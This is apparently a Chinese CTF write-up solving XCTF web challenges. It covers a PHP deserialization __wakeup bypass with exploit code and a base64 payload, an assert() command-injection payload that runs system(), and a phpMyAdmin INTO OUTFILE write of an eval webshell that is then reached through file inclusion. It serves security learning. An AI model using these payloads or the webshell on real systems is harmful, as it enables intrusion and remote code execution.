攻防世界Web区部分题解
前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数 ... 全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 . 通过这种相互转换 ,从而完成 数据持久化。
Web_php_unserialize
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
源码如上所示,是一道考察反序列化的题目。这里应该是要绕过__wakeup的检测,在构造payload的时候,把fl4g.php传递进去,最后可以通过__destruct()把fl4g.php给打印出来。
可以看到函数在后面进行参数传递的时候,也对我们要传递的参数做了一个简单的过滤,通过preg_match进行了正则过滤。'O:4'这种构造的payload会被过滤掉,所以这时候我们需要改动一下payload,用'+4'代替'4'来进行绕过。exp如下所示:
<?php class Demo{ private $file='index.php'; public function __construct($file){ $this->file=$file; } function __destruct(){ echo @highlight_file($this->file,true); } function __wakeup(){ if($this->file!='index.php'){ $this->file='index.php'; } } } $A=new Demo('fl4g.php'); $C=serialize($A); $C=str_replace('O:4','O:+4',$C); $C=str_replace(':1:',':2:',$C); var_dump($C); var_dump(base64_encode($C)); ?>
最终的payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
unserialize3
进入环境,源码如下。
class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } ?code=
这里也是调用了一个__wakeup的魔术方法,所以我们利用的思路,大体和前面一个题目一样。
<?php class xctf{ public $flag='111'; public function __wakeup(){ exit('bad requests'); } } $A=new xctf(); $B=serialize($A); $B=str_replace(':1:',':2:',$B); var_dump($B); var_dump(base64_encode($B)); ?>
上面两道题目实际上考察的都是同一个东西,__wakeup魔术方法在反序列化的时候,如果定义的参数数目大于实际字符串的数目,就会跳过__wakeup魔术方法的执行。
mfw
进入界面,题目提示git泄露,拖下源码后开始代码审计。
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // assert会执行函数并且返回一个布尔值 // die输出一条消息,并退出当前脚本 // 返回字符串在上一个字符串中出现的位置,如果没有找到字符串则返回false // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
一开始的时候,我尝试绕过strpos的检测,但是这道题目的考察点并不在这里。这道题目的断言函数在接受参数的时候,没有对接收的参数做一个审查,所以构造合理的话,可以实现一个命令执行的效果。assert()断言的函数定义在PHP5和PHP7中分别如下所示:
assert ( mixed $assertion [, string $description ] ) : bool
assert ( mixed $assertion [, Throwable $exception ] ) : bool
如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion
是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion
表达式。 这意味着如果你传入了 boolean 的条件作为 assertion
,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE
会被转换成空字符串。
最后在url中构造的payload如下:
'.system("cat templates/flag.php").'
两个引号用来闭合'$file'中的前一个引号和后一个引号。
') or system("cat templates/flag.php");//
或者使用括号来对括号进行闭合。
Web_php_include
这道题我记录一种爆破目录,然后数据库传马的黑盒思路。其他几种都是基于php伪协议的思路,主要在于对strstr函数的大小写绕过上。
首先御剑扫描一下,发现phpmyadmin的登录页面,这时候,用bp的intruder模块来对目录进行爆破。得到登录密码为空。
登录进去的页面就如图所示,然后我们在这里写入木马,将一句话木马写入到"/tmp/hack.php"(linux下这个目录的权限一般是可写的),然后通过文件包含将这个文件写入到page变量中,用蚁剑进行连接。
select "<?php eval($_POST['hack']);?>" into outfile "/tmp/hack.php"
写入数据库的payload。
/?page=/tmp/hack.php
最后得到flag。
这里可以写入一句话木马的原理可以再探究一下。phpmyadmin这里有一个全局变量secure-file-priv,这个全局变量是指定文件夹为导出文件的地方,默认情况下,secure-file-priv是一个空值(NULL),在phpmyadmin里面我们可以查看一下这个全局变量的值。
SHOW VARIABLES LIKE "secure_file_priv";
得到的结果如图所示:
为空值的时候,说明我们可以在可写文件夹下导入导出目录,也就是说我们可以在一些目录下写入一句话木马,同时通过文件包含,用蚁剑拿到webshell。